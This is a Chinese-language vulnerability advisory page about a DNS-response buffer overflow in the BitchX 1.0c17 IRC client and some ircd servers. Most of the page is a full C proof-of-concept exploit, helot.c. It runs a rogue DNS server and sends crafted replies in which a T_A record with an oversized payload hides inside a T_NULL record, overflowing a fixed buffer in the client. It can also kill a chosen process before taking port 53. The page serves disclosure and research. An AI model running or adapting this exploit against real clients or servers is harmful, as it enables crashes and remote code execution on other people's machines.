首页 -> 安全研究
安全研究
安全漏洞
BitchX DNS 缓冲区溢出漏洞
发布日期:2000-12-11
更新日期:2000-12-11
受影响系统:
描述:
Colten Edwards BitchX 1.0c17
BitchX是一个常用的Unix IRC客户端软件。它的某些版本存在一个安全问题,
可能允许远程用户获取对BitchX客户端的未授权访问。
BitchX DNS解析的代码部分存在一个缓冲区溢出漏洞。如果攻击者可以控制
一个DNS服务器,就可能构造一个特殊的DNS报文给BitchX客户端,如果里面
包含可执行代码,攻击者可以以BitchX的执行身份在客户端上执行任意命令。
<*来源:nimrood (nimrood@onebox.com) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
* helot.c - bitchx/ircd DNS overflow demonstration
* w00w00 Security Development (WSD)
* 12.04.2000 nimrood (nimrood@onebox.com)
*
* this same code i used to exploit an ircd DNS spoofing bug
* from early '99. re-usable code is great.
* this program is fun to play with if you're messing with DNS.
* the packet builder is MakeDNSPkt(). this tool compiles on my
* linux systems with no problems.
*
* Greetings :: #!w00w00, caddis, dmess0r, nocarrier, nyt,
* superluck, otgpdvt, awr, metabolis, sq, bb0y
*
* ----------------------------------
* problem 1: --> generic ircd
* current and older irc servers suffer from a common bug.
* a pointer is not updated correctly when handling unsupported
* RR types (eg: T_NULL). this makes the server think
* it received a malformed packet when trying to process the next RR.
* it's not a really serious bug, but it allows for a neat trick:
*
* you can embed any RR type in an unsupported RR (eg: T_NULL). these
* embedded RR's are not checked for errors or dropped by nameservers...
*
* problem 2: --> bitchx all versions, remote code excecution
* bitchx appears to use code from older irc servers to perform dns
* lookups. this old code suffers from a bcopy/memcpy overflow while
* processing T_A RR's. The T_A RR data length is used in a subsequent
* memcpy without bounds checking. the overflowed variable stores an
* IP address, only 4 bytes long. this is similar to the I_QUERY BIND
* overflow. bitchx dns also suffers from problem 1.
*
* from bitchx-1.0c17, ./source/misc.c : ar_procanswer()
* line 2639:
* dlen = (int)_getshort(cp);
* cp += sizeof(short);
* rptr->re_type = type;
*
* switch(type)
* {
* case T_A :
* rptr->re_he.h_length = dlen;
* if (ans == 1)
* rptr->re_he.h_addrtype=(class == C_IN) ? AF_INET : AF_UNSPEC;
* memcpy(&dr, cp, dlen);
*
* problem 3: --> comstud ircd, remote code execution
* funny enough, while working on the bitchx overflow, i accidentally
* connected a client using the wrong IP to a comstud ircd...it died.
* i found comstud-1.x releases are not vulnerable.
* i suspect other ircd server varients will be vulnerable. i would
* recommend upgrading to a comstud-1.x release. hybrid-ircd team fixed
* this bug a while back with the release of hybrid-5.3p3.
*
* from irc2.8.21+CSr31pl2, ./source/res.c : proc_answer()
* line 548:
* dlen = (int)_getshort((u_char *)cp);
* line 565:
* switch(type)
* {
* case T_A :
* hp->h_length = dlen;
* if (ans == 1)
* hp->h_addrtype = (class == C_IN) ? AF_INET : AF_UNSPEC;
* bcopy(cp, (char *)&dr, dlen);
*
* there are no bad guys... just disturbed guys.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <signal.h>
#include <netinet/in.h>
#include <arpa/nameser.h>
#include <arpa/inet.h>
/* for whatever reason, these may need to be defined */
#ifndef u_char
#define u_char unsigned char
#endif
#ifndef u_short
#define u_short unsigned short
#endif
#ifndef u_long
#define u_long unsigned long
#endif
#define DNS_PORT 53
extern int optind, optopt;
extern char *optarg;
/* used for converting query type integer to respective string */
struct qtype_list
{
int type;
char *name;
};
const struct qtype_list qtypelist[] =
{
{T_A, "A"},
{T_NS, "NS"},
{T_CNAME, "CNAME"},
{T_SOA, "SOA"},
{T_PTR, "PTR"},
{T_HINFO, "HINFO"},
{T_MX, "MX"},
{T_ANY, "ANY"},
{T_NULL, "NULL"},
{T_WKS, "WKS"},
{0, "(unknown)"}
};
void CatchSigInt(int sig)
{
signal(SIGINT, SIG_DFL);
}
void Usage(char *prog)
{
fprintf(stderr, "\
usage: %s [-k pid] [-t ttl] [-b ip] ip hostname\n\
ip ip address to answer reverse lookups for\n\
hostname hostname to be mapped to ip, and answer forward lookups\n\
-k kill this process before binding dns port\n\
-t cache time-to-live (seconds) for this answer (default: 900)\n\
-b bind the nameserver to this address (default, all addresses)\n",
prog);
exit(1);
}
char *ip2InAddrStr(u_long ip)
{
static char *str;
u_char *byte;
if(!str)
{
if((str=malloc(MAXLABEL)) == NULL)
return(str);
}
/* IP should be in network order to generate a proper in-addr */
byte = (u_char *)&ip;
sprintf(str, "%d.%d.%d.%d.IN-ADDR.ARPA.", byte[3], byte[2], byte[1],
byte[0]);
return(str);
}
u_short ExpandDName(char *comp, char *dest, u_short len)
{
char *cp, *cp2;
u_short num;
cp = comp; cp2 = dest;
if(strchr(cp, '.') && strlen(cp) < len)
{
strcpy(cp2, cp);
if(*(cp2 + strlen(cp2)) != '.')
strcat(cp2, ".");
return(strlen(cp2));
}
while((*cp) && (cp))
{
num = (u_char)*cp;
if(num + (cp2 - dest) > len)
break;
memcpy(cp2, ++cp, num);
cp += num; cp2 += num;
*(cp2++) = '.';
}
*cp2 = 0;
return(cp2 - dest);
}
int CompDName(char *buf, char *dname)
{
char *p = buf, *p1;
while((*dname) && (dname))
{
if((*dname == '.') && (!*(dname + 1)))
break;
p1 = strchr(dname, '.');
if(!p1)
p1 = strchr(dname, 0);
*(p++) = p1 - dname;
memcpy(p, dname, p1 - dname);
p += p1 - dname;
dname = p1;
if(*p1)
dname++;
}
*(p++) = 0;
return(p - buf);
}
/*
* ProcDNSPkt()
*
* desc: process a packet, return query name IF it's a question
* input: pointer to packet buffer, packet buffer length
* output: pointer to query name string, or NULL, type of query
*/
char *ProcDNSPkt(char *pkt, u_short pktlen, int *qtype)
{
static char *qname;
char *qRR;
HEADER *dnshdr;
int qnamelen;
/* do we even have something to look at? */
if(pkt == NULL || pktlen < (HFIXEDSZ + QFIXEDSZ))
return(0);
dnshdr = (HEADER *)pkt;
/* check query response flag */
if(dnshdr->qr)
return(0);
/* check that we have only a question in this packet */
if(ntohs(dnshdr->qdcount) != 1 || ntohs(dnshdr->arcount) != 0 ||
ntohs(dnshdr->nscount) != 0 || ntohs(dnshdr->arcount) != 0)
return(0);
if(!qname)
{
if((qname = malloc(MAXDNAME)) == 0)
{
fprintf(stderr, "no memory for qname\n");
return(0);
}
}
qnamelen = ExpandDName(pkt+HFIXEDSZ, qname, MAXDNAME);
if(qnamelen == 0)
return(NULL);
/* extract the query type received and fill in qtype */
qRR = pkt + HFIXEDSZ + strlen(pkt + HFIXEDSZ) + 1;
GETSHORT(qnamelen, qRR);
*qtype = qnamelen;
return(qname);
}
/*
* QType2Str()
*
* desc: convert query type integer to a string representation
* input: query type
* output: pointer to string of query type
*/
char *QType2Str(int qtype)
{
int i = 0;
while(qtypelist[i].type && qtypelist[i].type != qtype)
i++;
return(qtypelist[i].name);
}
/*
* MakeDNSPkt()
*
* desc: make a dns answer packet for a question
* input: pointer to original query packet to build answer for, pointer to
* answer packet buffer, buffer length, answer data, additional data,
* time-to-live
* output: returns size of answer packet, or NULL
*/
u_short MakeDNSPkt(char *qpkt, char *apkt, u_short alen, char *answer,
char *additional, u_long ttl)
{
u_short sz, offset;
int qtype;
HEADER *qhdr, *ahdr;
char *query, *aquery, *answerRR;
char qname[MAXDNAME]; /* domain name label scratch pad */
char *cp, *cp2;
/* do some checks */
if(qpkt == NULL || apkt == NULL || answer == NULL || additional == NULL)
return(0);
/* setup pointers */
qhdr = (HEADER *)qpkt; ahdr = (HEADER *)apkt;
query = qpkt + HFIXEDSZ; aquery = apkt + HFIXEDSZ;
/* answer packet dns header, we use the query packet's hdr */
if(alen < HFIXEDSZ)
return(0);
memcpy(ahdr, qhdr, HFIXEDSZ);
ahdr->qr = 1; /* query response */
ahdr->aa = 1; /* authoratative answer */
ahdr->rcode = NOERROR;
/* copy original query info to answer packet */
memcpy(aquery, query, (strlen(query) + QFIXEDSZ + 1));
aquery += strlen(query) + 1;
GETSHORT(qtype, aquery);
answerRR = aquery + INT16SZ;
/* build the answer RR's based on query type */
sz = CompDName(qname, answer);
switch(qtype)
{
case T_PTR:
/* answer the original question. this RR's data
* comes from the "hostname" cmdline option.
* this is a normal and valid resource record
*/
PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
PUTSHORT(T_PTR, answerRR);
PUTSHORT(C_IN, answerRR);
PUTLONG(ttl, answerRR);
PUTSHORT(sz, answerRR);
memcpy(answerRR, qname, sz);
offset = answerRR - apkt; /* offset used for compression */
answerRR += sz;
/* this RR, T_NULL demonstrates problem 1. this RR has
* an embedded T_A record in it's data field
*/
PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
PUTSHORT(T_NULL, answerRR);
PUTSHORT(C_IN, answerRR);
PUTLONG(ttl, answerRR);
cp = answerRR; /* pointer to T_NULL RR's data lengh */
PUTSHORT(0, answerRR);
cp2 = answerRR; /* pointer to start of embedded T_A RR */
/* T_A record is actually embedded in the T_NULL record.
* bitchx/ircd will read into this T_A record on the next loop.
* this lets us get around restrictions in BIND on T_A RR's
*
* this RR causes problems 2 & 3 -- the overflow
*/
PUTSHORT((offset | 0xc000), answerRR);
PUTSHORT(T_A, answerRR);
PUTSHORT(C_IN, answerRR);
PUTLONG(ttl, answerRR);
PUTSHORT(180, answerRR); /* overflow with 180 N's */
memset(answerRR, 'N', 180);
answerRR += 180;
/* compute size of embedded T_A & update T_NULL's dlength */
PUTSHORT((answerRR - cp2), cp);
/* this record is needed to continue the dns loop in
* bitchx/ircd. it can be any RR, i used T_NULL
*/
PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
PUTSHORT(T_NULL, answerRR);
PUTSHORT(C_IN, answerRR);
PUTLONG(ttl, answerRR);
PUTSHORT(0, answerRR);
ahdr->ancount = htons(3);
ahdr->nscount = htons(0);
ahdr->arcount = htons(0);
break;
case T_A:
/* BIND deems T_A records with data length <> 4 bytes
* to be malformed. so we must embed the RR.
*/
PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
PUTSHORT(T_NULL, answerRR);
PUTSHORT(C_IN, answerRR);
PUTLONG(ttl, answerRR);
cp = answerRR;
PUTSHORT(0, answerRR);
cp2 = answerRR;
/* problem 2 & 3 demonstrated with a T_A query */
PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
PUTSHORT(T_A, answerRR);
PUTSHORT(C_IN, answerRR);
PUTLONG(ttl, answerRR);
PUTSHORT(180, answerRR);
memset(answerRR, 'A', 180);
answerRR += 180;
/* fix up the size of the T_NULL */
PUTSHORT((answerRR - cp2), cp);
/* another T_NULL ... */
PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
PUTSHORT(T_NULL, answerRR);
PUTSHORT(C_IN, answerRR);
PUTLONG(ttl, answerRR);
PUTSHORT(0, answerRR);
ahdr->ancount = htons(2);
ahdr->nscount = htons(0);
ahdr->arcount = htons(0);
break;
default:
fprintf(stderr, "\ntype %d query not supported\n",
qtype);
return(0);
}
return(answerRR - (char *)ahdr);
}
/*
* SocketBind()
*
* desc: get's a udp socket and binds it to dns port 53 and an IP address
* input: pid to kill before bind, struct sockaddr initialize, IP address
* output: socket descriptor, or -1 on error
*/
int SocketBind(u_short pid, struct sockaddr_in *sa, u_long listen_ip)
{
int sd, sockopt, sockoptlen;
if((sd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
{
perror("can't get a udp socket");
return(sd);
}
if(pid)
{
fprintf(stderr, "killing pid %u...", pid);
if(kill(pid, SIGKILL) < 0)
{
perror("can't kill process");
return(-1);
}
fprintf(stderr, "killed.\n");
}
sa->sin_family = AF_INET;
sa->sin_port = htons(DNS_PORT);
sa->sin_addr.s_addr = listen_ip;
sockopt = 1; sockoptlen = 4;
setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&sockopt, sockoptlen);
if(bind(sd, (struct sockaddr *)sa, sizeof(struct sockaddr)) < 0)
{
perror("can't bind dns port 53");
return(-1);
}
fprintf(stderr, "listening on %s...\n", inet_ntoa(sa->sin_addr));
return(sd);
}
/*
* SendPkt()
*
* desc: send dns answer packet into the great unknown
* input: socket, received packet, answer string, additional answer, ttl,
* struct sockaddr from, from length
* output: returns # bytes sent, < 0 on error
*/
int SendPkt(int sd, char *rbuf, char *answer, char *additional, u_long ttl,
struct sockaddr_in *to, int tolen)
{
char sbuf[PACKETSZ];
int slen, sent;
slen = MakeDNSPkt(rbuf, sbuf, PACKETSZ, answer, additional, ttl);
if(!slen)
{
fprintf(stderr, "error building answer packet\n");
return(-1);
}
if((sent = sendto(sd, sbuf, slen, 0, (struct sockaddr *)to, tolen)) < 0)
{
perror("sending answer packet");
return(sent);
}
return(sent);
}
/*
* main()
*/
int main(int argc, char *argv[])
{
int sd, opt, rlen, fromlen, sent, qtype;
u_short killpid = 0;
u_long ttl = (15 * 60), ip, bind_ip = 0;
char rbuf[PACKETSZ];
char *qname = NULL, *inaddrstr = NULL, *hostname = NULL;
struct sockaddr_in named, from;
fd_set dns;
fprintf(stderr,"\
helot.c - bitchx/ircd DNS overflow demonstration
12.04.2000 nimrood (nimrood@onebox.com)
w00w00 Security Development (WSD)\n\n");
while((opt = getopt(argc, argv, "k:t:b:")) != -1)
{
switch(opt)
{
case 'k':
killpid = atoi(optarg);
break;
case 't':
ttl = strtoul(optarg, NULL, 0);
break;
case 'b':
if((bind_ip = inet_addr(optarg)) == -1)
{
fprintf(stderr,
"%s is not an ip address!\n", optarg);
exit(-1);
}
break;
case '?':
Usage(argv[0]);
/* NOT REACHED */
default:
fprintf(stderr, "getopt() error doh!\n");
exit(-1);
}
}
/* get ip address and hostname to use for answers */
if((argc - optind) != 2)
Usage(argv[0]);
if((ip = inet_addr(argv[optind])) == -1)
{
fprintf(stderr, "%s not an ip address!\n", argv[optind]);
exit(-1);
}
/* get a socket and bind it to the dns port 53 */
if((sd = SocketBind(killpid, &named, bind_ip)) < 0)
{
fprintf(stderr, "error setting up network!\n");
goto exit_helot;
}
if((hostname = malloc(strlen(argv[++optind]) + 2)) == NULL)
{
fprintf(stderr, "can't get memory for hostname!\n");
goto exit_helot;
}
strcpy(hostname, argv[optind]);
if(*(hostname + strlen(hostname)) != '.')
strcat(hostname, ".");
if((inaddrstr = ip2InAddrStr(ip)) == NULL)
{
fprintf(stderr, "can't get memory for in-addr string!\n");
goto exit_helot;
}
/* catch ctrl-c so i can free used memory */
signal(SIGINT, CatchSigInt);
while(1)
{
FD_ZERO(&dns);
FD_SET(sd, &dns);
if(select((sd + 1), &dns, NULL, NULL, NULL) < 0)
{
perror("error on listening socket");
break;
}
if(FD_ISSET(sd, &dns))
{
fromlen = sizeof(from);
if((rlen = recvfrom(sd, rbuf, PACKETSZ, 0,
(struct sockaddr *)&from, &fromlen)) < 0)
{
perror("error reading from socket");
break;
}
if(!rlen)
{
fprintf(stderr, "from %s, empty packet\n",
inet_ntoa(from.sin_addr));
continue;
}
if((qname = ProcDNSPkt(rbuf, rlen, &qtype)) == NULL)
{
fprintf(stderr, "from %s, no query\n",
inet_ntoa(from.sin_addr));
continue;
}
fprintf(stderr, "from %s, %s/%s, query", inet_ntoa(from.sin_addr),
qname, QType2Str(qtype));
if(strcasecmp(qname, inaddrstr) == 0 && qtype == T_PTR)
{
sent = SendPkt(sd, rbuf, hostname, (char *)&ip,
ttl, &from, fromlen);
if(sent <= 0)
{
fprintf(stderr, "no answer sent!!\n");
break;
}
fprintf(stderr, " answered.\n");
continue;
}
if(strcasecmp(qname, hostname) == 0 && qtype == T_A)
{
sent = SendPkt(sd, rbuf, hostname, (char *)&ip,
ttl, &from, fromlen);
if(sent <= 0)
{
fprintf(stderr, "no answer sent!!\n");
break;
}
fprintf(stderr, " answered\n");
}
}
fprintf(stderr,"\n");
}
exit_helot:
fprintf(stderr, "\ncleaning up...\n");
free(qname); free(hostname); free(inaddrstr); close(sd);
exit(-1);
}
建议:
厂商补丁:
暂无
浏览次数:8107
严重程度:0(网友投票)
绿盟科技给您安全的保障